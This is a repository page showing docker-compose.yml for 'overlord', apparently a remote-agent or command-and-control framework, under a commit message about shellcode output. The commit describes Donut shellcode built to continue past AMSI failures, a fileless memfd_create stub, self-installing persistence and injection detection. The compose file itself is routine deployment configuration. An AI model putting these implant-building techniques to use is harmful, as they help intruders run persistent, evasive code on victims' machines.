Files
overlord/docker-compose.yml
T
Michael 4fae9e56cf Shellcode clean (#21)
* feat: shellcode output via Donut (Windows) + memfd stub (Linux)

- Donut (Windows): PE → PIC shellcode (.bin) via donut-manager.ts
  Flags: -f1 -a<arch> -b3 -x1 (continue on AMSI fail, thread exit)
- Linux shellcode: 113-byte x86_64 memfd_create+execveat stub
  (linux-shellcode-manager.ts) wraps ELF for memfd_create+execveat
- Two-pass build for shellcode+persistence: Pass 1 = normal agent with
  persist compiled in; Pass 2 = selfembed agent that drops+registers
  Pass 1 on first run (isRunningInMemory() gates the path)
- Show console option: shellcode_console build tag calls AllocConsole()
  on start for debug builds; AttachConsole fallback included
- isRunningInMemory() Windows: VirtualQuery on .data sentinel
  (MEM_PRIVATE = injected, MEM_IMAGE = normal disk load) replaces
  os.Executable() which returned host process path when injected
- Build UI: Donut mode, Linux shellcode mode, show-console checkboxes;
  settings persisted across sessions via collectFormSettings()
- GODEBUG=netdns=cgo hardcoded in build env (fixes IPv6 DNS on VPN)
- Dockerfile: pre-seed Go module cache; add curl to runtime image
- docker-compose.yml: switch healthcheck to wget (curl absent in slim)

* fix: add missing shellcode UI functions and restore dynamic linking

applyDonutMode, applyLinuxShellcodeMode, and updateShellcodeCheckboxVisibility
were called throughout build.js but never defined, breaking platform selection
and the build button. Add the missing implementations.

Also remove forced -extldflags '-static' on Linux CGO builds; fully static
glibc binaries cannot call dlopen, which broke native plugin loading entirely.

* fix: call updateShellcodeCheckboxVisibility on page load

Shellcode rows were hidden on initial load because the function was only
wired to checkbox change events. Call it at startup and in applyFormSettings
so pre-selected platforms correctly show their shellcode options immediately.

* feat: Linux plugin subprocess shim for static-agent compatibility

Static musl binaries cannot call dlopen. Introduce a small C shim
(plugin_host.c) that is compiled at agent-build time into a
dynamically-linked binary, embedded via go:embed, and fork+exec'd to
load .so plugins on behalf of the static agent over a Unix socketpair.

Empty placeholder files allow go:embed to compile without error; the
real binaries are produced by build-process.ts before go build runs and
are never committed. Documents the IPC protocol and build matrix in
PLUGINS.md Section 12.

* fix: define sp_memfd_create/sp_write_all in subproc CGO preamble

CGO preamble functions are per-file translation units; so_memfd_create
and so_write_all from loader_linux.go are not visible in
loader_linux_subproc.go. Add local equivalents with sp_ prefix.

* fix: use CGO helper for shim memfd_create instead of syscall.SYS_MEMFD_CREATE

syscall.SYS_MEMFD_CREATE is not defined in Go stdlib syscall package.
Replace with sp_memfd_create_nocloe() CGO helper (flags=0, no CLOEXEC).

* fix: compile plugin host shim statically to avoid glibc version mismatch

A dynamically-linked shim compiled on Debian Bookworm (glibc 2.36) fails
on older glibc targets. Compile with -static so the shim is self-contained
and runs on any glibc version. Static glibc can still call dlopen at runtime
via the system ld-linux.so.2.

Also surface subprocess errors instead of silently falling through to dlopen
so failures are visible in the build log.

* Restore docker build cache
2026-05-13 22:55:51 -05:00

104 lines
5.0 KiB
YAML

services:
overlord-server:
image: ${DOCKER_IMAGE:-ghcr.io/vxaboveground/overlord:latest}
build:
context: .
dockerfile: Dockerfile
cache_from:
- type=local,src=.docker-cache/buildx
cache_to:
- type=local,dest=.docker-cache/buildx,mode=max
container_name: overlord-server
# Host networking: the container shares the host's network stack directly.
# Every port the server binds (5173, SOCKS5 proxies, etc.) is accessible
# on the host with zero overhead — no per-port proxy process.
network_mode: host
environment:
PORT: ${PORT:-5173}
HOST: ${HOST:-0.0.0.0}
# Optional: set an explicit initial admin account. If OVERLORD_PASS is empty,
# the server generates one-time bootstrap secrets and stores them in /app/data/save.json.
OVERLORD_USER: ${OVERLORD_USER:-admin}
OVERLORD_PASS: ${OVERLORD_PASS:-}
# Optional overrides. If empty, generated and persisted to /app/data/save.json.
JWT_SECRET: ${JWT_SECRET:-}
OVERLORD_AGENT_TOKEN: ${OVERLORD_AGENT_TOKEN:-}
NODE_ENV: ${NODE_ENV:-production}
OVERLORD_TLS_CERT: ${OVERLORD_TLS_CERT:-/app/certs/server.crt}
OVERLORD_TLS_KEY: ${OVERLORD_TLS_KEY:-/app/certs/server.key}
OVERLORD_TLS_CA: ${OVERLORD_TLS_CA:-}
# Set true only behind a trusted reverse proxy that terminates TLS (for example Render).
# Default false keeps current behavior: Overlord terminates TLS in-process.
OVERLORD_TLS_OFFLOAD: ${OVERLORD_TLS_OFFLOAD:-false}
# Cookie security mode: auto (default), true, or false.
# auto: Secure cookie on HTTPS requests / X-Forwarded-Proto=https.
OVERLORD_AUTH_COOKIE_SECURE: ${OVERLORD_AUTH_COOKIE_SECURE:-auto}
# Optional certbot integration (used only when NODE_ENV=production)
OVERLORD_TLS_CERTBOT_ENABLED: ${OVERLORD_TLS_CERTBOT_ENABLED:-false}
OVERLORD_TLS_CERTBOT_LIVE_PATH: ${OVERLORD_TLS_CERTBOT_LIVE_PATH:-/etc/letsencrypt/live}
OVERLORD_TLS_CERTBOT_DOMAIN: ${OVERLORD_TLS_CERTBOT_DOMAIN:-}
OVERLORD_TLS_CERTBOT_CERT_FILE: ${OVERLORD_TLS_CERTBOT_CERT_FILE:-fullchain.pem}
OVERLORD_TLS_CERTBOT_KEY_FILE: ${OVERLORD_TLS_CERTBOT_KEY_FILE:-privkey.pem}
OVERLORD_TLS_CERTBOT_CA_FILE: ${OVERLORD_TLS_CERTBOT_CA_FILE:-chain.pem}
OVERLORD_CLIENT_BUILD_CACHE_DIR: ${OVERLORD_CLIENT_BUILD_CACHE_DIR:-/app/client-build-cache}
OVERLORD_FILE_UPLOAD_INTENT_TTL_MS: ${OVERLORD_FILE_UPLOAD_INTENT_TTL_MS:-1800000}
OVERLORD_FILE_UPLOAD_PULL_TTL_MS: ${OVERLORD_FILE_UPLOAD_PULL_TTL_MS:-1800000}
# WebRTC: where Bun reaches MediaMTX HTTP (WHIP/WHEP signaling).
# Host networking on Linux → localhost works. WebRTC is opt-in; leave the
# toggle in the UI off if MediaMTX is not running.
OVERLORD_MEDIAMTX_URL: ${OVERLORD_MEDIAMTX_URL:-http://localhost:8889}
volumes:
# overlord-data also caches downloaded cross-compile toolchains
# under /app/data/toolchains, fetched on first agent build for a
# given target (mingw, aarch64/armv7/musl, Android NDK, ldid, UPX).
- overlord-data:/app/data
- overlord-certs:/app/certs
- overlord-client-build-cache:/app/client-build-cache
- overlord-plugins:/app/plugins
# Uncomment to mount host certbot certs read-only
# - /etc/letsencrypt:/etc/letsencrypt:ro
# Uncomment to use a static config file instead of env vars
# - ./Overlord-Server/config.json:/app/config.json:ro
restart: unless-stopped
init: true
security_opt:
- no-new-privileges:true
healthcheck:
# Use http:// when OVERLORD_TLS_OFFLOAD=true.
test: ["CMD-SHELL", "wget -qO- --no-check-certificate ${OVERLORD_HEALTHCHECK_URL:-https://localhost:5173/health} >/dev/null 2>&1 || exit 1"]
interval: 30s
timeout: 10s
retries: 3
start_period: 40s
mediamtx:
image: bluenviron/mediamtx:latest
container_name: overlord-mediamtx
# Share the host network so WebRTC ICE candidates use the host's real
# interfaces directly — no extra config needed for local or LAN browsers.
network_mode: host
restart: unless-stopped
environment:
# Disable every protocol except WebRTC. The Overlord server proxies all
# WHIP/WHEP signaling and enforces auth itself, so MediaMTX doesn't
# need RTSP/RTMP/HLS/SRT listeners.
MTX_RTSP: "no"
MTX_RTMP: "no"
MTX_HLS: "no"
MTX_SRT: "no"
# ICE on fixed ports so the compose / host firewall has a single target.
MTX_WEBRTCLOCALUDPADDRESS: ":8189"
MTX_WEBRTCLOCALTCPADDRESS: ":8189"
# Advertise 127.0.0.1 as an ICE candidate. Always required on Windows /
# macOS (bridge networking); harmless on Linux (host networking). To
# allow viewers on a different machine, override this with a comma-
# separated list including the host's LAN/public IP, e.g.:
# OVERLORD_WEBRTC_ADDITIONAL_HOSTS=127.0.0.1,192.168.1.42
MTX_WEBRTCADDITIONALHOSTS: ${OVERLORD_WEBRTC_ADDITIONAL_HOSTS:-127.0.0.1}
volumes:
overlord-data:
overlord-certs:
overlord-client-build-cache:
overlord-plugins: